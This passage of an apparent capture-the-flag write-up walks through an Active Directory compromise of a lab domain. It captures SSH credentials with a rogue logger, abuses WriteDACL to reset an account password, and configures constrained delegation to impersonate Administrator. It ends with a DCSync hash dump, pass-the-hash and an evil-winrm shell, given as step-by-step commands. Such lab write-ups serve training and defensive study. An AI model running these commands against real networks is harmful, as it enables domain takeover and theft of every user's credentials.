<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FishZGsqNPDPO5bZ0xk4s%2Fgrafik.png?alt=media&amp;token=e4230026-a48f-434c-b48d-2c4d7da8dd3f" alt=""><figcaption></figcaption></figure>

We try a simple test and start a listener on our attacker machine on port `22` and make a conection to our host via `establish connection`.

{% code overflow="wrap" expandable="true" %}

```
nc -lnvp 22
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FQttq06vqAa5CaL3Gm7g3%2Fgrafik.png?alt=media&amp;token=30bbe5e4-5874-4813-9322-8cd8c5077e23" alt=""><figcaption></figcaption></figure>

We see that the connection is being made but no credentials are leaked.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F249JNYKvG6xX2TP4nKlD%2Fgrafik.png?alt=media&amp;token=8c067006-fa11-4c34-9e04-c149474c83eb" alt=""><figcaption></figcaption></figure>

We make use ao SSH-LOG a tool written in go to capture SSH credentiasls and log client commands.

> SSH-Log is a tool to capture SSH credentials and log client commands. It uses the private key of a valid SSH daemon to appear legitimate. It is not a high interaction honeypot. If a client uses valid credentials SSHlog can spawn a real shell and record the input and output of client commands. SSHlog-mini is a simplified version of SSHlog that only captures SSH credentials.

{% embed url="<https://github.com/westenfelder/SSH-Log>" %}

We build the binary and run it. After we esablish a connection we see the cleartext credentials leaked of the machine account `ITOPS01$`.

{% code overflow="wrap" expandable="true" %}

```
./SSHlog
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FBU8hLFM0WoUFzzeeVusS%2Fgrafik.png?alt=media&amp;token=3aa89836-87ba-4703-9790-f66640182ca6" alt=""><figcaption></figcaption></figure>

Next, we test the credentials and are able to authenticate.

{% code overflow="wrap" expandable="true" %}

```
nxc smb -k DC.hsm-defense.local -u 'ITOPS01$' -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FPfA0wnoxlTcTyvH0bHqm%2Fgrafik.png?alt=media&amp;token=72ced7e7-2be4-4cc6-a8c7-e3dd0538519d" alt=""><figcaption></figcaption></figure>

## Access as svc\_delegate

The machine account `ITOPS01$` holds WriteDACL over `svc_delegate`, which allows full rights to be granted over the account and control of `svc_delegate` to be taken.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FJ8qxol61ujae26l59c4M%2Fgrafik.png?alt=media&amp;token=38e3feb4-923b-4daa-8672-a69adbcf78a9" alt=""><figcaption></figcaption></figure>

I`TOPS01$` has WriteDACL on `svc_delegate`. We grant ourselves FullControl and reset the password.

{% code overflow="wrap" expandable="true" %}

```
getTGT.py hsm-defense.local/'ITOPS01$:REDACTED'
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
export KRB5CCNAME=$(pwd)/ITOPS01$.ccache
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
bloodyAD -k --host DC.hsm-defense.local -d hsm-defense.local add genericAll svc_delegate ITOPS01$
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F7f47aVEIROoiQyrGaLmP%2Fgrafik.png?alt=media&amp;token=0055e481-2852-45c0-adf6-cbdeebe01f53" alt=""><figcaption></figcaption></figure>

With full control established, we reset the password of `svc_delegate` to take over the account:

{% code overflow="wrap" expandable="true" %}

```
bloodyAD -k --host DC.hsm-defense.local -d hsm-defense.local set password 'svc_delegate' 'Pwned123@!'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FAsnskGFP14VNrc0f5jrM%2Fgrafik.png?alt=media&amp;token=d77ae202-c85e-4b58-a714-b4d9faabfdcf" alt=""><figcaption></figcaption></figure>

We test the credentials and are able to authenticate.

{% code overflow="wrap" expandable="true" %}

```
nxc smb -k DC.hsm-defense.local -u 'svc_delegate' -p 'Pwned123@!' --shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F0ShKzTG7MSxkaNhhSUID%2Fgrafik.png?alt=media&amp;token=1a6421e4-8ec4-48fa-a63a-59e8f00ccbec" alt=""><figcaption></figcaption></figure>

## Shell as Administrator

The user `svc_delegate` has `GenericWrite` on `HELPDESK01$`. Since `GenericWrite` allows us to modify nearly any attribute on the target object, we can configure Kerberos constrained delegation with protocol transition on `HELPDESK01$`. This allows `HELPDESK01$` to impersonate any user, including the Administrator, to a service of our choosing on the DC. We target the machine account specifically because the S4U2Self step in the delegation chain requires the delegating account to have a Service Principal Name. Machine accounts receive SPNs automatically when they join the domain (e.g., HOST/HELPDESK01$), so the delegation works out of the box. A normal user account would not have an SPN by default, and the S4U2Self request would fail.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F2nRmeFiMoRGRgdUddnBc%2Fgrafik.png?alt=media&amp;token=01bea9ac-8975-496c-8b91-96329342f283" alt=""><figcaption></figcaption></figure>

We request a TGT for `svc_delegate` and export the ccache file.

{% code overflow="wrap" expandable="true" %}

```
getTGT.py hsm-defense.local/svc_delegate:'Pwned123@!'
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
export KRB5CCNAME=$(pwd)/svc_delegate.ccache
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmiAz6nT6R5MLWYgs9T1u%2Fgrafik.png?alt=media&amp;token=ec49ef1a-8f14-439a-b265-b1fc65b7704b" alt=""><figcaption></figcaption></figure>

So we follow the approach to configure Kerberos constrained delegation with protocol transition, allowing `HELPDESK01$` to impersonate any user to the LDAP service on the DC.

We configure the delegation in two steps. First, we set the `msDS-AllowedToDelegateTo` attribute on `HELPDESK01$` to target the LDAP service on the DC. This tells Active Directory that `HELPDESK01$` is allowed to delegate credentials to `ldap/DC.hsm-defense.local`.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC.hsm-defense.local -d hsm-defense.local -k set object 'HELPDESK01$' msDS-AllowedToDelegateTo -v 'ldap/DC.hsm-defense.local'
```

{% endcode %}

Second, we enable protocol transition by setting the `TRUSTED_TO_AUTH_FOR_DELEGATION` UAC flag. Without this flag, the delegation would require the impersonated user to authenticate to `HELPDESK01$` first. With protocol transition enabled, `HELPDESK01$` can request a service ticket on behalf of any user without that user's involvement.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC.hsm-defense.local -d hsm-defense.local -k add uac 'HELPDESK01$' -f TRUSTED_TO_AUTH_FOR_DELEGATION
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FcW8uE4JmbImbBNvYAcNW%2Fgrafik.png?alt=media&amp;token=c04b639c-847c-4303-b6de-d962adf48405" alt=""><figcaption></figcaption></figure>

Now we exploit the delegation. We request a TGT for `HELPDESK01$` with the credentials we cracked earlier.

{% code overflow="wrap" expandable="true" %}

```
getTGT.py hsm-defense.local/'HELPDESK01$:REDACTED'
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
export KRB5CCNAME=$(pwd)/HELPDESK01$.ccache
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FgtB82HCXLXwwHvXp3FjC%2Fgrafik.png?alt=media&amp;token=74f6b2cf-22ce-4552-bd60-faa3b0fda20d" alt=""><figcaption></figcaption></figure>

Using `getST.py`, we request a service ticket for `ldap/DC.hsm-defense.local` while impersonating the Administrator account. Due to protocol transition, this works without the Administrator's password. `HELPDESK01$` performs S4U2Self to obtain a forwardable ticket and then S4U2Proxy to delegate it to the LDAP service.

{% code overflow="wrap" expandable="true" %}

```
getST.py hsm-defense.local/'HELPDESK01$' -spn ldap/DC.hsm-defense.local -impersonate Administrator -k -no-pass -dc-ip DC.hsm-defense.local
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fd5EQY8gJkbi0IKZ86da7%2Fgrafik.png?alt=media&amp;token=bde69671-341e-4430-853b-917b143eca2f" alt=""><figcaption></figcaption></figure>

We export the resulting ccache file and use `secretsdump.py` to perform a DCSync attack over LDAP as Administrator, dumping all domain hashes.

{% code overflow="wrap" expandable="true" %}

```
export KRB5CCNAME=$(pwd)/Administrator@ldap_DC.hsm-defense.local@HSM-DEFENSE.LOCAL.ccache
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
secretsdump.py -k -no-pass DC.hsm-defense.local
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FWOI1I7CZQN99iDYQu3bP%2Fgrafik.png?alt=media&amp;token=a579f649-6756-4677-8f6a-161d606e663a" alt=""><figcaption></figcaption></figure>

With the Administrator's NTLM hash, we request a TGT using pass-the-hash and log in to the DC via evil-winrm.

{% code overflow="wrap" expandable="true" %}

```
getTGT.py hsm-defense.local/Administrator -hashes :REDACTED
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
export KRB5CCNAME=$(pwd)/Administrator.ccache 
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FMli82rgG5GTfqpjMWMmR%2Fgrafik.png?alt=media&amp;token=53a18d30-854e-4c3c-ac64-04c2e44e1638" alt=""><figcaption></figcaption></figure>

We are now able to get a remote session as Administrator on the DC...

{% code overflow="wrap" expandable="true" %}

```
evil-winrm -i DC.hsm-defense.local -r hsm-defense.local
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FPR4sWZidXuZoYwBgxsc3%2Fgrafik.png?alt=media&amp;token=7bac3f4a-fed1-48da-86d0-ccd433786e5c" alt=""><figcaption></figcaption></figure>

... and find the final flag at `C:\Users\Administrator\Desktop\root.txt`.

{% code overflow="wrap" expandable="true" %}

```
type C:\Users\Administrator\Desktop\root.txt
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FhaLIZ7TSVVKPofskrLHL%2Fgrafik.png?alt=media&amp;token=c80136ce-db9a-49a1-b42c-5271608954e7" alt=""><figcaption></figcaption></figure>
